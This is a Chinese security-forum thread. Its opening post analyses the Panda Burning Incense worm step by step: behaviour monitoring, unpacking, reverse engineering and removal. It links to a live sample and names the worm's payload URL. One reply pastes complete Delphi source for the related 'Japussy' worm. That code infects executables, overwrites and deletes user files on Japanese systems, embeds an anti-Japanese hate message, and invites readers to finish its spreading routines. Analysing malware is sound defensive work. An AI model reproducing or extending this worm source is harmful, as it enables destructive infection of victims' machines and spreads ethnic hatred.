吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 39988|回复: 474
上一主题 下一主题
收起左侧

[PC样本分析] 经典病毒分析——熊猫烧香

    [复制链接]
跳转到指定楼层
楼主
Nattevak 发表于 2022-1-1 08:56 回帖奖励
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 Nattevak 于 2022-1-1 09:21 编辑



那一日,人们又回忆起被胖达支配的恐惧。。。。



那年,机房风扇呼呼的吹,小狮子的呼噜呼呼的打,胖达揣着三根香占满了电脑。。。

时过数十载,重现当年经典,今日带来胖达分析四部曲。病毒分析初尝试,如有不足,望各位大佬指点

一、基本分析,并提取病毒样本,手工清理机器
“熊猫烧香”是一款拥有自动传播、自动感染硬盘能力和强大的破坏能力的病毒,他不但能感染系统中exe,com,pif,src,html,asp等文件,他还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件。该文件一般是系统备份工具GHOST的备份文件,使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改成熊猫烧香的模样。
来自百度百科:熊猫烧香病毒对系统中所有除了盘符为A,B的磁盘类型为DRIVE_REMOTE,DRIVE_FIXED的磁盘进行文件遍历感染

注:不感染文件大小超过10MB以上的


1.模拟真实场景,在虚拟机中运行样本







2.待病毒执行之后,观察可疑情况
使用PCHunter工具查看进程,定位到进程文件,再结束病毒进程
可疑进程判断依据:图标、文件名、文件路径


找到病毒所在位置,将其样本保存,再删除目录下的病毒程序(需结束病毒进程后删除)


注:在病毒运行后,需观察病毒情况
首先查看可疑进程,进程部分上文已经写出
再查看启动项(注册表,计划任务等)
注册表启动项有可疑进程



查看驱动,服务等可疑项
未发现异常

查看其他杂项,网络连接
有可疑进程的网络连接,主要端口号:80、443、139



使用抓包工具(WSExplorer)查看可疑流量
有加密的流量传输


3.提取样本:
将路径下文件提取到本地,并修改扩展名为vir
C:\Windows\System32\drivers\spo0lsv.exe 改为 C:\Windows\System32\drivers\spo0lsv.vir

4.样本概况:
文件: C:\Windows\System32\drivers\spo0lsv.vir
大小: 30001 bytes
修改时间: 2018年7月14日, 8:40:21
MD5: 512301C535C88255C9A252FDF70B7A03
SHA1: CA3A1070CFF311C0BA40AB60A8FE3266CFEFE870
CRC32: E334747C

5.手工清理机器:
       ①结束可疑进程 spo0lsv.exe
       ②删除可疑进程启动项
       ③程序安装目录下被感染的exe变成了熊猫烧香图标,手工无法清除,当运行被感染程序时,病毒再次复活。可以发现,手工无法清除此病毒,想要清除需要进一步分析。

二、行为分析,获取病毒行为
1.由于之前对病毒样本进行了一系列操作,所以将虚拟机还原快照,重新在虚拟机中运行病毒程序,使用火绒剑工具监控病毒样本的运行,待病毒执行一段时间后,分开查看病毒的行为。分析监控到的日志,主要观察的点:
       ①文件操作,主要看文件创建、修改、删除等操作
       ②注册表操作,主要看注册表设置、创建等操作
       ③进程操作,主要看创建进程、写入内存等操作
       ④网络操作,主要看网络连接地址、IP等信息
       ⑤其他行为,以及观察病毒样本运行后的反应
分析样本的行为,尽可能发现恶意行为。

开启火绒剑监控样本运行


①观察文件操作,主要观察文件的写入操作,这里保险起见勾选文件被修改和写入文件两个选项






②观察注册表操作,主要观察设置注册表的操作,这里勾选设置注册表项值


病毒程序自己建了一个注册表项,设置了一些信息


Internet Setting看起来应该是跟网络设置相关


其他的大多都是一些设置启动项和隐藏的一些操作


③观察进程操作
因为进程现在还不太好判断,所以进程相关的所有操作都先看一下



枚举进程可能是为了查找是否存在杀毒软件


④观察网络操作,这里能监控的数据不多,有可能会有遗漏



具体操作可以使用抓包工具(WSExplorer)进一步观察

⑤观察其他行为
行为监控属于火绒剑这个工具特色的一种功能,这里将常见的一些恶意代码行为进行了总结



执行监控可以观察病毒程序执行了哪些进程,加载了哪些模块的操作,这里还创建了CMD,执行了一些命令


查看动作信息->进程


分析情况总结:
分析监控的日志以及自行观察操作之后,可以分析出样本的恶意行为:
       1.自我复制样本到C盘:C:\Windows\System32\drivers\目录下,启动C:\Windows\System32\drivers\spo0lsv.exe(即病毒程序)
       2.在每一个目录下创建Desktop_.ini,里面存放的是当前日期
       3.在C盘根目录下创建了autorun.inf文件,其中指定了自动启动的文件为根目录下的setup.exe(即病毒程序)
       4.对程序目录下的exe进行了感染,图标变为熊猫烧香,打开exe时,自动打开病毒
       5.枚举进程、查找窗口、打开设备
       6.设置注册表启动项为C:\Windows\System32\drivers\spo0lsv.exe
       7.自己创建了一个注册表的项,在其中写入了很多信息HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\spo0lsv_RASAPI32
       8.设置注册表键值,隐藏文件不显示HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL中的CheckedValue值
       9.修改注册表的项IE浏览器的代{过}{滤}理和连接设置
       10.使用CMD命令关闭网络共享
       11.连接局域网的一些地址,访问一些门户网站

三、详细分析病毒代码,获取行为的恶意代码
通过行为分析之后,可以知道恶意代码的一些恶意行为,想要获取更加详细的行为需要使用IDA或是OD分析样本。

1.查壳
使用Exeinfo PE 查壳,发现是FSG2.0的壳


因为FSG是压缩壳,所以脱壳最应该尝试的是ESP定律,其次就是单步跟踪。
使用OD载入病毒程序,发现入口没有pushad/pushfd指令,单步观察堆栈变化。


程序一开始并没有保存环境,遇到这种情况继续单步跟踪,发现有解密代码的地方


继续单步跟踪,不进入CALL,线性分析代码。很快找到了修复IAT的地方。继续跟踪


找到跳出循环修复IAT的地方,到达跳转到原始OEP的地方。


在原始OEP处DUMP文件,再使用ImprotREC修复IAT即可。


使用ImportREC修复IAT时发现不能完整识别所有的导入函数。


观察IAT,发现两个模块的函数之间被填充成了7FFFFFFFF。


将7FFFFFFF都改为0,再使用ImportREC重新获取。


这次成功获取,然后修复转存的文件即可。


使用dump修复后的文件用IDA打开进行分析,添加签名便于分析


搜索Delphi,找到Delphi6-7的特征库,应用可以识别出很多库函数


使用F5将其转换为伪代码,简单分析OEP处代码

OEP处代码


OEP代码分析过程:
根据伪代码所示,可以发现OEP处的代码一开始都是一些初始化变量的操作;
之后使用了一些库函数进行连接、赋值的一些操作;
调用的第一个函数为sub_405250,其参数有字符串“xboy",之后另一次调用中,参数有字符串“whboy”,在调用sub_405250之后,有LStrCmp字符串比较函数的调用,之后又有判断返回值的代码,可以猜测函数sub_405250应该是解密字符串函数。


在OD中动态调试病毒程序,验证猜测


观察数据窗口,内存窗口以及寄存器的变化,可以确认sub_405250就是解密字符串函数,故将sub_405250更改为解密字符串函数DecodeString。


剩下的sub_40819C、sub_40D18C、sub_40D088三个函数应该是执行恶意代码的函数,在代码的末尾处可以看到有一个消息循环,猜测应该是等待恶意代码执行完毕,函数才会退出。
所以OEP处函数可以分为五部分:


sub_40819C函数分析
首先如我们之前分析的一样,在每一个目录下创建Desktop_.ini文件


进行判断,是否进入判断语句
之后再对运行程序与生成路径比较,不一致则进入判断中,一致则继续向下


sub_4053AC函数功能为GetSystemDirectory,即获取Windows系统目录(System目录)的完整路径名。


故将sub_4053AC函数更名为GetSystemDirectory。

sub_405FC4函数功能在IDA中不太好判断,所以需使用OD动态调试分析
在OD中搜索405FC4函数,来到函数入口处,在入口处下断点,将病毒程序运行至此,此时可以观察到EAX中保存的是病毒程序的名称


进行栈回溯,找到调用位置


在下一行代码处下断点,观察其返回值,其返回值为1,但是这里是字节里的1;
判断此处功能应该是结束程序名为"spo0lsv.exe"的程序


验证猜想
将任一程序名更改为"spo0lsv.exe",将其运行


然后设置CALL的上一行代码为新EIP,再次F9运行


可以观察到被我们修改为"spo0lsv.exe"的程序被结束了
故将sub_405FC4函数更名为KillVirusProcess。

继续向下分析伪代码


sub_407B68函数内为写入bat批处理文件的操作以及启动未被感染的程序,故将名称变更为WriteBatFile。


继续分析,判断当前是否为源病毒程序,如果是则进入判断语句,不是则结束进程



sub_40819C函数汇总:


快速定位感染exe的函数
使用OD动态调试样本,在CreateProcessA处下断点


进行栈回溯,找到关键跳转,使病毒程序不复制自身,不创建副本进程



跳转后对kernel32.CreateFileA下断点


F9运行程序,程序在CreateFileA断下,不断F9,直至运行至感染exe程序时


此时进行栈回溯,寻找感染关键代码,最终找到函数00407F00函数为病毒程序感染的关键函数,发现感染的类型有exe,scr,pif等。


在IDA中继续分析407F00函数


sub_40D18C函数分析
这个函数中有三个函数,分别功能:
       1.Create_ini函数创建线程,遍历目录创建Desktop_.ini
       2.Create_exe_inf函数设置了一个定时器,检查C盘中setup.exe和autorun.inf文件是否存在,若不存在则创建
       3.Create_network函数创建线程,进行网络连接


Create_ini函数


进入sub_40A48C函数,可以看到在循环执行sub_409348函数,根据之前的判断,这里应该是在创建Desktop_.ini文件


进入sub_409348函数可以发现Desktop_.ini字符串,因为我们之前已经分析过Desktop_.ini文件中存放的是本地时间,此函数中也有获取本地时间的行为,推测此处为代码执行的地方



Create_exe_inf函数


进入TimerFunc函数,实际功能就是检查C盘中setup.exe和autorun.inf文件是否存在,若不存在则创建


Create_network函数


进入sub_40BA8C函数,再进入sub_40B864函数发现是与网络连接相关的一些函数


sub_40D18C函数汇总:


sub_40D088函数分析
这个函数中调用了6个定时器:
       1.定时器1,sub_40CEE4,添加启动项、修改注册表
       2.定时器2,sub_40D040,下载恶意代码
       3.定时器3,sub_40D048,下载恶意代码、执行cmd命令
       4.定时器4,sub_407430,删除杀毒软件启动项、关闭杀软服务
       5.定时器5,sub_40CC4C,打开解密之后的网页
       6.定时器6,sub_40C728,下载恶意代码



进入sub_40CEE4函数,发现是添加启动项、修改注册表的操作


进入sub_40D040函数,再进入sub_40CC34,再进入sub_40C9B0,这里在访问网站并获取系统目录,应该是从服务器下载恶意代码


进入sub_40D048函数,发现内部有两个函数,函数sub_40CC34与函数sub_40D040功能相同,均为下载恶意代码


函数sub_40CDEC为执行cmd命令,关闭网络共享


进入sub_407430函数,再进入sub_406E44函数,发现都是删除杀毒软件启动项、关闭杀毒软件服务的操作


进入sub_40CC4C函数,打开解密之后的网页


进入sub_40C728函数,再进入sub_40C5E0函数,发现与sub_40D040功能类似,此处函数功能大致也是下载恶意代码
访问http://update.whboy.net/worm.txt下载并且执行病毒


执行恶意代码部分汇总:


四、提取病毒特征,完成查杀,编写文档报告及专杀工具
1.病毒特征
       MD5特征: 512301C535C88255C9A252FDF70B7A03
       SHA1值: CA3A1070CFF311C0BA40AB60A8FE3266CFEFE870
       CRC32: E334747C
       感染特征: 文件名最后有感染标识字符串"WhBoy + 原文件名 + .exe + 02 + 文件大小 + 01"


2.手工查杀步骤
       1.排查可疑进程,使用PcHumter结束病毒进程 spo0lsv.exe
       2.检查启动项,删除病毒启动项 "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
       3.删除C盘System\drivers目录下的spo0lsv.exe病毒程序
       4.修复被病毒破坏的文件,程序安装目录下被感染的exe变成了熊猫烧香图标,手工无法清除,当运行被感染程序时,病毒再次复活。可以发现,手工无法清除此病毒,想要清除需要进一步分析

3.制作专杀工具



熊猫烧香样本https://wwz.lanzouo.com/iLB8oy7jj0j

免费评分

参与人数 160吾爱币 +155 热心值 +146 收起 理由
iret_52 + 1 我很赞同!
lt258369 + 1 + 1 用心讨论,共获提升!
SeleiXi + 1 + 1 我很赞同!
undyingzombie + 1 热心回复!
flyray + 1 我很赞同!
Ginobili + 1 + 1 !!!!
Mofecx + 1 + 1 厉害
CyberAzrael + 1 + 1 我很赞同!
lyj0886 + 1 + 1 谢谢@Thanks!
Function_TR + 1 + 1
seiman + 1 + 1 用心讨论,共获提升!
zgangtao0314 + 1 + 1 我很赞同!
二狗子的小棉袄 + 1 + 1 热心回复!
CodingZhang + 1 + 1 用心讨论,共获提升!
翼风Fly + 1 + 1 用心讨论,共获提升!
Qxie + 1 + 1 热心回复!
YF440295 + 1 + 1 大神
Gentle899 + 1 我很赞同!
三变丶 + 1 + 1 热心回复!
tutuxiaotaoqi + 1 + 1 热心回复!
breadbear + 1 + 1 我很赞同!
LA110 + 1 热心回复!
deep1ndreams + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
Zua + 1 + 1 我很赞同!
李莹莹 + 2 + 1 用心讨论,共获提升!
SGabyss + 1 + 1 我很赞同!
weiye588 + 1 + 1 我很赞同!
TianXiaYu + 1 + 1 谢谢@Thanks!
hu1314 + 1 + 1 谢谢@Thanks!
哆啦A梦 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
xiaoyue7788 + 1 + 1 用心讨论,共获提升!
dwcj + 1 用心讨论,共获提升!
plj529 + 1 + 1 谢谢@Thanks!
beyondcapacity + 1 用心讨论,共获提升!
ladiosfei + 1 + 1 跪了跪了,膜拜大神
bihailt + 1 用心讨论,共获提升!
Tauch + 2 + 1 鼓励转贴优秀软件安全工具和文档!
samson2013 + 1 + 1 一教室就看着老师优盘里全是这图标,也是牛脾
DrillAnn + 1 用心讨论,共获提升!
wwwnet110 + 1 + 1 用心讨论,共获提升!
wocuole + 1 + 1 太牛了,
bibo00000 + 1 + 1 用心讨论,共获提升!
nevinhappy + 1 + 1 用心讨论,共获提升!
CodeTea + 1 + 1 我很赞同!
LISHGU + 1 + 1 我很赞同!
Web_ + 1 + 1 太硬核了,大佬牛逼
AECPOS + 1 + 1 鼓励转贴优秀软件安全工具和文档!
blankqwq + 1 我很赞同!
wkiwi + 1 + 1 用心讨论,共获提升!
开袋即食 + 1 + 1 热心回复!
Coptis_china + 1 谢谢@Thanks!
屠龙大元帅 + 1 + 1 以前网吧全是这玩意,当时无解。。。。
tuoyu20 + 1 + 1 谢谢@Thanks!
Reer + 1 + 1 我很赞同!
Krystian + 1 + 1 用心讨论,共获提升!
千王0108 + 1 + 1 用心讨论,共获提升!
yizhenkai + 1 我很赞同!
52.Carl + 1 鼓励转贴优秀软件安全工具和文档!
GuiXiaoQi + 1 我很赞同!
wenzei + 1 + 1 我很赞同!
zhangli777 + 1 + 1 我很赞同!
sushaka + 1 + 1 鼓励转贴优秀软件安全工具和文档!
kuaile365 + 1 + 1 我很赞同!
小牛快跑 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
4nfu + 1 + 1 我很赞同!
你可真傻 + 1 + 1 热心回复!
shower1986 + 1 + 1 谢谢@Thanks!
nass221 + 1 + 1 谢谢@Thanks!
wiliao123 + 1 + 1 热心回复!
AnderWiggin + 1 我很赞同!
longfei9527 + 1 + 1 用心讨论,共获提升!
Iam9527 + 1 + 1 我很赞同!
Histone + 1 + 1 用心讨论,共获提升!
adf28 + 1 + 1 谢谢@Thanks!
monk3435 + 1 + 1 我很赞同!
weizziwong + 1 + 1 用心讨论,共获提升!
Tracer024 + 1 我很赞同!
manwaa + 1 + 1 热心回复!
liuyshou + 1 用心讨论,共获提升!
Yubai47666 + 1 + 1 用心讨论,共获提升!
mistyang + 1 + 1 热心回复!
viczdtzzy + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
w5230186 + 1 + 1 用心讨论,共获提升!
看门猫 + 1 + 1 用心讨论,共获提升!
lovlin999 + 1 + 1 鼓励转贴优秀软件安全工具和文档!
羽未 + 1 + 1 用心讨论,共获提升!
1983 + 1 + 1 用心讨论,共获提升!
sunline + 1 + 1 谢谢@Thanks!
CadenWu + 1 + 1 鼓励转贴优秀软件安全工具和文档!
zouya1990 + 1 + 1 谢谢@Thanks!
meteroa + 1 + 1 谢谢@Thanks!
a2961666 + 1 我很赞同!
grimghost + 1 + 1 牛牛牛!!!
anwen + 1 + 1 用心讨论,共获提升!
soyadokio + 1 + 1 优秀!
人家故里 + 1 + 1 大佬牛批
秦牧 + 1 + 1 这才是牛叉的大神
csotour + 1 + 1 我很赞同!
清炒藕片丶 + 1 + 1 我很赞同!
limit7 + 1 碉堡了

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

推荐
sail2000 发表于 2022-1-2 08:47
本帖最后由 sail2000 于 2022-1-2 08:49 编辑

[Delphi] 纯文本查看 复制代码
001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
050
051
052
053
054
055
056
057
058
059
060
061
062
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
//原地址:http://www.delphibbs.com/keylife/iblog_show.asp?xid=26864
 
//熊猫烧香 - 核心源码   
//----------
//僅供研究使用!後果自行負責
 
//代码:----------
//程序代码
program Japussy;
uses
  Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
  HeaderSize = 82432;          //病毒体的大小
  IconOffset = $12EB8;          //PE文件主图标的偏移量
   
  //在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
  //查找2800000020的十六进制字符串可以找到主图标的偏移量
    
{
  HeaderSize = 38912;          //Upx压缩过病毒体的大小
  IconOffset = $92BC;          //Upx压缩过PE文件主图标的偏移量
   
  //Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
  IconSize   = $2E8;          //PE文件主图标的大小--744字节
  IconTail   = IconOffset + IconSize;  //PE文件主图标的尾部
  ID         = $44444444;          //感染标记
   
  //垃圾码,以备写入
  Catchword = 'If a race need to be killed out, it must be Yamato. ' +
          'If a country need to be destroyed, it must be Japan! ' +
          '*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
  stdcall; external 'Kernel32.dll'; //函数声明
var
  TmpFile: string;
  Si:      STARTUPINFO;
  Pi:      PROCESS_INFORMATION;
  IsJap:   Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
  Ver: TOSVersionInfo;
begin
  Result := False;
  Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  if not GetVersionEx(Ver) then
    Exit;
  if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
    Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
  dStartPos: Integer; Count: Integer);
var
  sCurPos, dCurPos: Integer;
begin
  sCurPos := Src.Position;
  dCurPos := Dst.Position;
  Src.Seek(sStartPos, 0);
  Dst.Seek(dStartPos, 0);
  Dst.CopyFrom(Src, Count);
  Src.Seek(sCurPos, 0);
  Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procedure ExtractFile(FileName: string);
var
  sStream, dStream: TFileStream;
begin
  try
    sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
    try
      dStream := TFileStream.Create(FileName, fmCreate);
      try
        sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
        dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
      finally
        dStream.Free;
      end;
    finally
      sStream.Free;
    end;
  except
  end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
  Si.cb := SizeOf(Si);
  Si.lpReserved := nil;
  Si.lpDesktop := nil;
  Si.lpTitle := nil;
  Si.dwFlags := STARTF_USESHOWWINDOW;
  Si.wShowWindow := State;
  Si.cbReserved2 := 0;
  Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
  //哪位仁兄愿意完成之?
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
  HdrStream, SrcStream: TFileStream;
  IcoStream, DstStream: TMemoryStream;
  iID: LongInt;
  aIcon: TIcon;
  Infected, IsPE: Boolean;
  i: Integer;
  Buf: array[0..1] of Char;
begin
  try //出错则文件正在被使用,退出
    if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
      Exit;
    Infected := False;
    IsPE     := False;
    SrcStream := TFileStream.Create(FileName, fmOpenRead);
    try
      for i := 0 to $108 do //检查PE文件头
      begin
        SrcStream.Seek(i, soFromBeginning);
        SrcStream.Read(Buf, 2);
        if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
        begin
          IsPE := True; //是PE文件
          Break;
        end;
      end;
      SrcStream.Seek(-4, soFromEnd); //检查感染标记
      SrcStream.Read(iID, 4);
      if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
        Infected := True;
    finally
      SrcStream.Free;
    end;
    if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
      Exit;
    IcoStream := TMemoryStream.Create;
    DstStream := TMemoryStream.Create;
    try
      aIcon := TIcon.Create;
      try
        //得到被感染文件的主图标(744字节),存入流
        aIcon.ReleaseHandle;
        aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
        aIcon.SaveToStream(IcoStream);
      finally
        aIcon.Free;
      end;
      SrcStream := TFileStream.Create(FileName, fmOpenRead);
      //头文件
      HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
      try
        //写入病毒体主图标之前的数据
        CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
        //写入目前程序的主图标
        CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
        //写入病毒体主图标到病毒体尾部之间的数据
        CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
        //写入宿主程序
        CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
        //写入已感染的标记
        DstStream.Seek(0, 2);
        iID := $44444444;
        DstStream.Write(iID, 4);
      finally
        HdrStream.Free;
      end;
    finally
      SrcStream.Free;
      IcoStream.Free;
      DstStream.SaveToFile(FileName); //替换宿主文件
      DstStream.Free;
    end;
  except;
  end;
end;
 
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
  FileHandle: Integer;
  i, Size, Mass, Max, Len: Integer;
begin
  try
    SetFileAttributes(PChar(FileName), 0); //去掉只读属性
    FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
    try
      Size := GetFileSize(FileHandle, nil); //文件大小
      i := 0;
      Randomize;
      Max := Random(15); //写入垃圾码的随机次数
      if Max < 5 then
        Max := 5;
      Mass := Size div Max; //每个间隔块的大小
      Len := Length(Catchword);
      while i < Max do
      begin
        FileSeek(FileHandle, i * Mass, 0); //定位
        //写入垃圾码,将文件彻底破坏掉
        FileWrite(FileHandle, Catchword, Len);
        Inc(i);
      end;
    finally
      FileClose(FileHandle); //关闭文件
    end;
    DeleteFile(PChar(FileName)); //删除之
  except
  end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
  DiskType: Word;
  D: Char;
  Str: string;
  i: Integer;
begin
  for i := 0 to 25 do //遍历26个字母
  begin
    D := Chr(i + 65);
    Str := D + ':';
    DiskType := GetDriveType(PChar(Str));
    //得到本地磁盘和网络盘
    if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
      Result := Result + D;
  end;
end;
{ 遍历目录,感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
  i, Count: Integer;
  Fn, Ext: string;
  SubDir: TStrings;
  SearchRec: TSearchRec;
  Msg: TMsg;
  function IsValidDir(SearchRec: TSearchRec): Integer;
  begin
    if (SearchRec.Attr <> 16) and  (SearchRec.Name <> '.') and
      (SearchRec.Name <> '..') then
      Result := 0 //不是目录
    else if (SearchRec.Attr = 16) and  (SearchRec.Name <> '.') and
      (SearchRec.Name <> '..') then
        Result := 1 //不是根目录
    else Result := 2; //是根目录
  end;
begin
  if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
  begin
    repeat
      PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
      if IsValidDir(SearchRec) = 0 then
      begin
        Fn := Path + SearchRec.Name;
        Ext := UpperCase(ExtractFileExt(Fn));
        if (Ext = '.EXE') or (Ext = '.SCR') then
        begin
          InfectOneFile(Fn); //感染可执行文件       
        end
        else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
        begin
          //感染HTML和ASP文件,将Base64编码后的病毒写入
          //感染浏览此网页的所有用户
          //哪位大兄弟愿意完成之?
        end
        else if Ext = '.WAB' then //Outlook地址簿文件
        begin
          //获取Outlook邮件地址
        end
        else if Ext = '.ADC' then //Foxmail地址自动完成文件
        begin
          //获取Foxmail邮件地址
        end
        else if Ext = 'IND' then //Foxmail地址簿文件
        begin
          //获取Foxmail邮件地址
        end
        else
        begin
          if IsJap then //是倭文操作系统
          begin
          if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
          (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
          (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
          (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
          (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
          (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
          SmashFile(Fn); //摧毁文件
          end;
        end;
      end;
      //感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
      Sleep(200);
    until (FindNext(SearchRec) <> 0);
  end;
  FindClose(SearchRec);
  SubDir := TStringList.Create;
  if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
  begin
    repeat
      if IsValidDir(SearchRec) = 1 then
        SubDir.Add(SearchRec.Name);
    until (FindNext(SearchRec) <> 0);
    end;
  FindClose(SearchRec);
  Count := SubDir.Count - 1;
  for i := 0 to Count do
    LoopFiles(Path + SubDir.Strings[i] + '', Mask);
  FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
 
var
  DriverList: string;
  i, Len: Integer;
begin
  if GetACP = 932 then //日文操作系统
    IsJap := True; //去死吧!
  DriverList := GetDrives; //得到可写的磁盘列表
  Len := Length(DriverList);
  while True do //死循环
  begin
    for i := Len downto 1 do //遍历每个磁盘驱动器
      LoopFiles(DriverList[i] + ':', '*.*'); //感染之
    SendMail; //发带毒邮件
    Sleep(1000 * 60 * 5); //睡眠5分钟
  end;
end;
{ 主程序开始 }
begin
  if IsWin9x then //是Win9x
    RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
  else //WinNT
  begin
    //远程线程映射到Explorer进程
    //哪位兄台愿意完成之?
  end;
  //如果是原始病毒体自己
  if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
    InfectFiles //感染和发邮件
  else //已寄生于宿主程序上了,开始工作
  begin
    TmpFile := ParamStr(0); //创建临时文件
    Delete(TmpFile, Length(TmpFile) - 4, 4);
    TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
    ExtractFile(TmpFile); //分离之
    FillStartupInfo(Si, SW_SHOWDEFAULT);
    CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
      0, nil, '.', Si, Pi); //创建新进程运行之
    InfectFiles; //感染和发邮件
  end;
end.
 
{~~~~~~~~~~
完毕!
 
独孤九剑转载于DelphiBBS:http://www.delphibbs.com/keylife/iblog_show.asp?xid=26864}

免费评分

参与人数 1热心值 +1 收起 理由
Laign + 1 很详细的注释

查看全部评分

推荐
Love0912 发表于 2022-1-1 09:20
这个说实话是我目前见过写的最好的病毒之一,最起码想当年无人能破解这个。。。思路清奇真的棒
推荐
第一次下海 发表于 2022-1-1 09:12
新年第一天看到这个。。。。。。。。当年的恐怖心情又勾起来了。。。。
推荐
kuiyanxu 发表于 2022-1-1 10:24
不明觉厉,大佬牛批
推荐
qwert0312 发表于 2022-1-1 22:46
oxxo119 发表于 2022-1-1 20:07
这个病毒就不是他编写的,是经过修改当时的一个国外的病毒,提交了熊猫图标,然后就那样了

如果不是 他写的,他也不会当天就搞出专杀工具好吧,只能说,有一些代码是他使用了一些已知的代码整合的。
推荐
sbnie 发表于 2022-1-1 09:33
没中过这玩意儿
5#
ahzl201 发表于 2022-1-1 09:03
这也太硬核了,先收藏,好好消化一下。
头像被屏蔽
6#
lxj2004 发表于 2022-1-1 09:07
分析的最透彻的
头像被屏蔽
7#
lxj2004 发表于 2022-1-1 09:09
我也想研究一下,如果可以请将样本加密压缩包病毒样本和杀毒程序发我一下,网盘链接,谢谢了,你这个分析整体上还是可以的
8#
741852waholzk 发表于 2022-1-1 09:13
好家伙,这是文艺复兴啊
9#
ddia00025 发表于 2022-1-1 09:22
楼主厉害
10#
